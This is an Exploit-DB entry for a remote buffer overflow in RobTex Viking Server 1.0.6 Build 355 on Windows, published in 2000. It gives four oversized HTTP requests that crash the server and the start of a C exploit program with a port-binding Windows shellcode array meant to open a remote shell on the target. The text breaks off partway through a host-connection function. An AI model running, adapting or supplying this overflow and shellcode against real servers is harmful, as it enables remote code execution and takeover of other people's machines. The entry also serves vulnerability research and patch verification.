Exploit-DB #20180
Description: RobTex Viking Server 1.0.6 Build 355 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2000-08-28
Author: wildcoyote

Exploit:
// source: https://www.securityfocus.com/bid/1614/info

A number of unchecked buffers exists in Robotex Viking Server. This enables a malicious user to either crash the application or execute arbitrary code, depending on the data supplied.

/*

 Robotex Viking Server Buffer Overflow Vulnerability
 Xploit by wildcoyote@coders-pt.org

 Accoding to bugtraq advisory....
 Bugtraq id        : 1614 
 Class             : Boundary Condition Error 
 Cve               : GENERIC-MAP-NOMATCH 
 Remote            : Yes 
 Local             : Yes 
 Published         : August 28, 2000 
 Vulnerable        : Robotex Viking Server 1.0.6 Build 355 and prior
                     - Microsoft Windows 95
                     - Microsoft Windows NT 4.0
 Not vulnerable    : Robotex Viking Server 1.0.6 Build 370 and above
                     - Microsoft Windows 95
                     - Microsoft Windows NT 4.0

 The following commands will crash Viking Server:

 1)
 GET [x11765] HTTP/1.1<enter><enter>

 2)
 GET / HTTP/1.1<enter>
 Unless-Modified-Since: [x14765]<enter><enter>

 3)
 GET / HTTP/1.1<enter>
 If-Range: [x14765]<enter><enter>

 4)
 GET / HTTP/1.1<enter>
 If-Modified-Since: [x14765]<enter><enter>

 Compile with: gcc RoboVikiXploit.c -o RoViX

 Comments : Yeah...I KNOW, i could have coded this longer'ago...but i've
            been kind of away ;P heh
            So...about one week'after being posted...here's tha exploit ;)

 Greetz to: I would like to dedicate'this code to my "new" friendz from
            last sunday when'#coders got together... ;)
            (in no particulary order :])
            Myke,Arsox,lucipher,mortiis,SamWise,Branc0,String,|Yzfr1|,
            Residdent,Net_phreak,NetCyborg,RedBaron (or something), and...
            i think'im not forgetting anybody :]
            If so, FLAME ME! I WAVE IT ;) heh
            Well..why not send a hug to my other'friendz at PTNET? :]
            niness, [medusa], pheer, ping, buffer, Badfile, jynx,
            nopinyp, X-raver, lunatic, Dalailama, errr...so many ppl
            I'll just /quote PRIVMSG *!*@* I WAVE YOU ALL! ;)
*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

struct RoboVikiXploiting_ways {
  char *Xploit_way;
  int port;
  char *command;
  int overflow_string_size;
};

struct RoboVikiXploiting_ways RoboVikiXploiting_ways[]={
  {"Robotex Viking Server simple HTTP Overflow",80,"GET BO HTTP/1.1\n\n",11765}, 
  {"Robotex Viking Server [Unless-Modified-Since] HTTP Overflow",80,"GET / HTTP/1.1\nUnless-Modified-Since: BO\n\n",14765},
  {"Robotex Viking Server [If-Range] HTTP Overflow",80,"GET / HTTP/1.1\nIf-Range: BO\n\n",14765},
  {"Robotex Viking Server [If-Modified-Since] HTTP Overflow",80,"GET / HTTP/1.1\nIf-Modified-Since: BO\n\n",14765},
  {NULL,0,NULL,0}
};

#define NOP                               0x90
#define PORT_LOCATION                      524 // Port will be injected on
                                               // byte'shellcode + 524
// Leet Port Binder'shellcode for Win b0xez...
char shellcode[] =
  "\x4b\x8b\xc3\xbb\x01\x90\x16\x01\xc1\xeb\x02\x8b\xf8\x33"
  "\xc0\x50\x48\x90\x50\x59\xf2\xaf\x59\xb1\xc6\x8b\xc7\x48"
  "\x80\x30\x99\xe2\xfa\x33\xf6\x96\x90\x90\x56\xff\x13\x8b"
  "\xd0\xfc\x33\xc9\xb1\x0b\x49\x32\xc0\xac\x84\xc0\x75\xf9"
  "\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a\xe2"
  "\xec\x32\xc0\xac\x84\xc0\x75\xf9\xb3\x01\x4b\x90\x56\xff"
  "\x13\x8b\xd0\xfc\x33\xc9\xb1\x06\x32\xc0\xac\x84\xc0\x75"
  "\xf9\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a"
  "\xe2\xec\x83\xc6\x05\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
  "\xe8\x93\x6a\x10\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57"
  "\xf0\x33\xc0\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x48"
  "\x50\x57\x56\xad\x56\xff\x57\xc0\x48\x50\x57\xad\x56\xad"
  "\x56\xff\x57\xc0\x48\xb0\x44\x89\x07\x57\xff\x57\xc4\x33"
  "\xc0\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\x8b\x06\x89\x47"
  "\x38\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c\x57\x57\x33\xc0"
  "\x50\x50\x50\x40\x50\x48\x50\x50\xad\x56\x33\xc0\x50\xff"
  "\x57\xc8\xff\x76\xf0\xff\x57\xcc\xff\x76\xfc\xff\x57\xcc"
  "\x48\x50\x50\x53\xff\x57\xf4\x8b\xd8\x33\xc0\xb4\x04\x50"
  "\xc1\xe8\x04\x50\xff\x57\xd4\x8b\xf0\x33\xc0\x8b\xc8\xb5"
  "\x04\x50\x50\x57\x51\x50\xff\x77\xa8\xff\x57\xd0\x83\x3f"
  "\x01\x7c\x22\x33\xc0\x50\x57\xff\x37\x56\xff\x77\xa8\xff"
  "\x57\xdc\x0b\xc0\x74\x2f\x33\xc0\x50\xff\x37\x56\x53\xff"
  "\x57\xf8\x6a\x50\xff\x57\xe0\xeb\xc8\x33\xc0\x50\xb4\x04"
  "\x50\x56\x53\xff\x57\xfc\x57\x33\xc9\x51\x50\x56\xff\x77"
  "\xac\xff\x57\xd8\x6a\x50\xff\x57\xe0\xeb\xaa\x50\xff\x57"
  "\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc"
  "\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc\xed\xca\xed\xf8"
  "\xeb\xed\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8"
  "\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6"
  "\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\xf2\xd7"
  "\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8"
  "\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc\xdf\xf0"
  "\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5"
  "\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea"
  "\xea\x99\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2"
  "\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7"
  "\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb"
  "\xfc\xfa\xef\x99\x9b\x99"
  "\xff\xff" // Port Number will be injected here...
  "\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7\xfc\xe1\xfc\x99"
  "\xff\xff\xff\xff\x09\x1f\x40\x00\x0d\x0ah";

int
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   // Oh yeah...got 2 resolve host information again :]
   struct hostent *he;
   he=gethostbyname(host);
   if (h